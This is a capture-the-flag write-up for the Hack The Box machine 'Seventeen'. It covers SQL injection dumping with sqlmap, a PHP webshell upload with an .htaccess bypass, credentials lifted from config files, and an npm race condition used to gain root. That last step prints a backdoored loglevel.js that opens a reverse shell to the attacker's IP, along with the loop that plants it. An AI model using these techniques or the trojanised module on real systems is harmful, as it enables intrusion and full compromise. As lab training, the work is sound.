HTB - Writeups

šŸ§ Seventeen

Fri Sep 23, 2022

This is my writeup for the Seventeen machine on the Hackthebox plateform.

Letā€™s start with anĀ nmap scanĀ to enumerate the different ports that are open :

  • Port 22 (SSH)
  • Port 80 (HTTP)
  • Port 8080 (HTTP)
nmap -sC -sV -oA nmap/seventeen 10.10.11.165

Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-03 19:51 UTC
Stats: 0:00:13 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 19:51 (0:00:06 remaining)
Nmap scan report for 10.10.11.165
Host is up (0.041s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:b2:6e:bb:92:7d:5e:6b:36:93:17:1a:82:09:e4:64 (RSA)
| 256 1f:57:c6:53:fc:2d:8b:51:7d:30:42:02:a4:d6:5f:44 (ECDSA)
|_ 256 d5:a5:36:38:19:fe:0d:67:79:16:e6:da:17:91:eb:ad (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Lets begin your education with us!
8000/tcp open http Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
Service Info: Host: 172.17.0.3; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.39 seconds

Foothold

The main website does not provide much information except for the domain name seventeen.htb. We can add it to our hosts file (/etc/hosts).

Site

A vhosts fuzz indicates that the exam.seventeen.htb subdomain exists. We can add it to our hosts file and go to it.

qu35t@lab:~$ ffuf -u http://seventeen.htb/ -H "Host: FUZZ.seventeen.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fs 20689

________________________________________________

:: Method : GET
:: URL : http://seventeen.htb/
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.seventeen.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: 20689

________________________________________________

exam [Status: 200, Size: 17375, Words: 3222, Lines: 348]

This website uses Examination Management System (EMS), which is an examination portal for educational institutions which will help them to take test & communicate remotely with students.

CMS

The Admin button sends us to a page that informs us that access is disabled.

Admin

A search for CVE on EMS indicates that SQL injection vulnerability exists when registering for an exam: Exploit-DB

CVE

We can exploit this SQL injection with SQLmap to dump databases.

sqlmap -u "http://exam.seventeen.htb/?p=take_exam&id=1" -p id --level 3 --dbs --batch
  • erms_db
  • db_sfms

In the users table of the erms_db database there are paths to user avatars. They are located in the /oldmanagement folder.

SQL

As seen before with nmap, port 8000 is open but the main page is Forbidden. A directory fuzzing found nothing.

Forbidden

However, the route /oldmanagement present in the database exists and redirects to the login page of School File Management System.

SFMS

You can login with the credentials of a student retrieved from the db_sfms database extracted beforehand via SQL injection. Shane’s password may have been bruteforced by a dictionary attack.

Database: db_sfms
Table: student
[4 entries]
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
| stud_id | yr | gender | stud_no | lastname | password                                           | firstname |
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
| 1       | 1A | Male   | 12345   | Smith    | 1a40620f9a4ed6cb8d81a1d365559233                   | John      |
| 2       | 2B | Male   | 23347   | Mille    | abb635c915b0cc296e071e8d76e9060c                   | James     |
| 3       | 2C | Female | 31234   | Shane    | a2afa567b1efdb42d8966353337d9024 (autodestruction) | Kelly     |
| 4       | 3C | Female | 43347   | Hales    | a1428092eb55781de5eb4fd5e2ceb835                   | Jamie     |
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
31234:autodestruction

Once logged to the platform, you arrive on a dashboard where you can upload files. TheĀ School File Management System is a PHP project that can store student files individually and retrieve them afterward.

SFMS2

We can upload a PHP webshell on the server because no filter prevents us from doing so.

Webshell

In order to determine its location on the server once uploaded, one can FUZZ the directories. There is the files folder. A good thought and tries led me to find a folder with the number corresponding to the student id in the files folder (/files/31234/).

ffuf -u http://seventeen.htb:8000/oldmanagement/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
________________________________________________

 :: Method           : GET
 :: URL              : http://seventeen.htb:8000/oldmanagement/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

files                   [Status: 301, Size: 335, Words: 20, Lines: 10]

Our webshell is located inside this folder but when we go to the page, we have a 403 Forbidden. A .htaccess file with specific rules seems block the execution of dangerous files on the server.

HTACCESS

A trick which consists in uploading a .htaccess file to replace the existing one on the server and thus define our own rules is possible in this case : Hacktricks

Simply upload the following files in order to remove the protection and be able to execute commands on the server with our webshell :

  • .htaccess
  • shell.php

Privesc

We now have a reverse-shell on the remote machine as the user www-data. In the configuration file dbh.php is the credentials of the user mark.

www-data@seventeen:~$ cat /var/www/html/employeemanagement/system/process/dbh.php

<?php

$servername = "localhost";
$dBUsername = "root";
$dBPassword = "2022bestyearofmylife";
$dBName = "ems";

We can connect in SSH with this credentials and retrieve the user flag.

mark:2022bestyearofmylife

Port 4873 is exposed locally, it is NPM’s local registry service : Verdaccio. Verdaccio is a simple, zero-config-required local private NPM registry. Verdaccio comes out of the box with its own tiny database, and the ability to proxy other registries, also introduces caching the downloaded modules along the way.

The /opt/app/ folder contains a node application with several modules installed, visible in the node_modules folder. We can add the following line in the .npmrc file in the home of mark then npm install db-logger (visible in /opt/app/node_modules/ folder) in order to recover the module from the local registry.

mark@seventeen:~$ echo "registry=http://127.0.0.1:4873/" > /home/mark/.npmrc
mark@seventeen:~$ npm install db-logger

You can also use the following command to perform the same action.

mark@seventeen:~$ npm install db-logger --registry http://127.0.0.1:4873/

The db-logger module contains the credentials of the kavi user. We can connect in SSH with these credentials.

mark@seventeen:~$ cat node_modules/db-logger/logger.js

var mysql = require('mysql');

var con = mysql.createConnection({
    host: "localhost";
    user: "root";
    password: "IhateMathematics123#";
    database: "logger"
});
kavi:IhateMathematics123#

Root

We have the possibility to execute as root the script /opt/app/startup.sh (sudo -l). This script will install the node modules and then execute the application.

Note: A cron job run every minute to remove installed modules.

#!/bin/bash

cd /opt/app

deps=('db-logger', 'loglevel')

for dep in ${deps[@]}; do
	/bin/echo "[=] Checking for $dep"
	o=$(/usr/bin/npm -l ls|/bin/grep $dep)
	
	if [[ "$o" != *="$dep"* ]];
	then
		/bin/echo "[+] Installing $dep"
		/usr/bin/npm install $dep --silent
		/bin/chown root:root node_modules -R
	else
		/bin/echo "[+] $dep already installed"
	fi
done

/bin/echo "[+] Starting the app"

/usr/bin/node /opt/app/index.js

It is possible to abuse the script by exploiting a race condition when installing npm packages. Indeed, while the modules are installed and before the node_modules folder is chown, we can inject malicious Javascript code (reverse shell) into the module so that it is executed when the application is launched.

First, we get the original loglevel.js file on the Github repository and we add our reverse-shell in.

loglevel.js

/*
* loglevel - https://github.com/pimterry/loglevel
*
* Copyright (c) 2013 Tim Perry
* Licensed under the MIT license.
*/

(function() {
	var net = require("net"),
	cp = require("child_process"),
	sh = cp.spawn("bash", []);
	var client = new net.Socket();
	client.connect(9001, "10.10.14.3", function() {
		client.pipe(sh.stdin);
		sh.stdout.pipe(client);
		sh.stderr.pipe(client);
	});
	return /a/;
})();

(function (root, definition) {
    "use strict";
    if (typeof define === 'function' && define.amd) {
        define(definition);
    } else if (typeof module === 'object' && module.exports) {
        module.exports = definition();
    } else {
        root.log = definition();
    }
}(this, function () {
    "use strict";

    // Slightly dubious tricks to cut down minimized file size
    var noop = function() {};
    var undefinedType = "undefined";
    var isIE = (typeof window !== undefinedType) && (typeof window.navigator !== undefinedType) && (
        /Trident\/|MSIE /.test(window.navigator.userAgent)
    );

    var logMethods = [
        "trace",
        "debug",
        "info",
        "warn",
        "error"
    ];

[...DATA...]

Just run a while loop in bash to try to copy our malicious file to the /opt/app/node_modules/loglevel/lib/ folder, then run the /opt/app/startup.sh script as root. Our file should be replaced right after the module is installed and before the chown command is executed.

POC

1) while true; do cp loglevel.js /opt/app/node_modules/loglevel/lib/; done

2) sudo /opt/app/startup.sh

3) Note: Re run the script if it doesn't work.